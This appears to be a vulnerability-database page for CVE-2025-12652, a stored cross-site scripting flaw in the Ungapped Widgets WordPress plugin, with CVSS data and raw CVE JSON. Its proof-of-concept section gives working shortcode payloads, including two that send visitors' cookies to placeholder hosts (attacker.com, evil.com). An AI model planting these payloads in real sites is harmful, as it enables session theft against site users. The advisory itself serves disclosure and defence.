Security Vulnerability Report
中文
CVE-2025-12652 CVSS 6.4 MEDIUM

CVE-2025-12652

Published: 2025-11-11 04:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Ungapped Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'prefillvalues' parameter in the ungapped-form shortcode in all versions up to, and including, 1. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute when a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ungapped Widgets plugin for WordPress <= 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12652 PoC - Stored XSS in Ungapped Widgets // Author: Wordfence Security // Target: WordPress Ungapped Widgets plugin < 1 // Attack vector: Inject XSS via prefillvalues parameter in ungapped-form shortcode // Required privilege: Contributor or higher // Malicious shortcode injection: [ungapped-form prefillvalues='"><script>alert(String.fromCharCode(88,83,83))</script>'] // Alternative payload (event handler): [ungapped-form prefillvalues='" onmouseover="alert(document.domain)" x='] // Steal cookies: [ungapped-form prefillvalues='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] // Auto-execution payload: [ungapped-form prefillvalues='</script><script>document.location="https://evil.com/log?d="+document.cookie</script><script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12652", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:48.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ungapped Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'prefillvalues' parameter in the ungapped-form shortcode in all versions up to, and including, 1. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute when a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ungapped-widgets/tags/1/ungapped-widgets-plugin.php#L38", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/25d0921b-39b1-4abb-9197-952fc55f80e6?source=cve", "source": "[email protected]"}]}}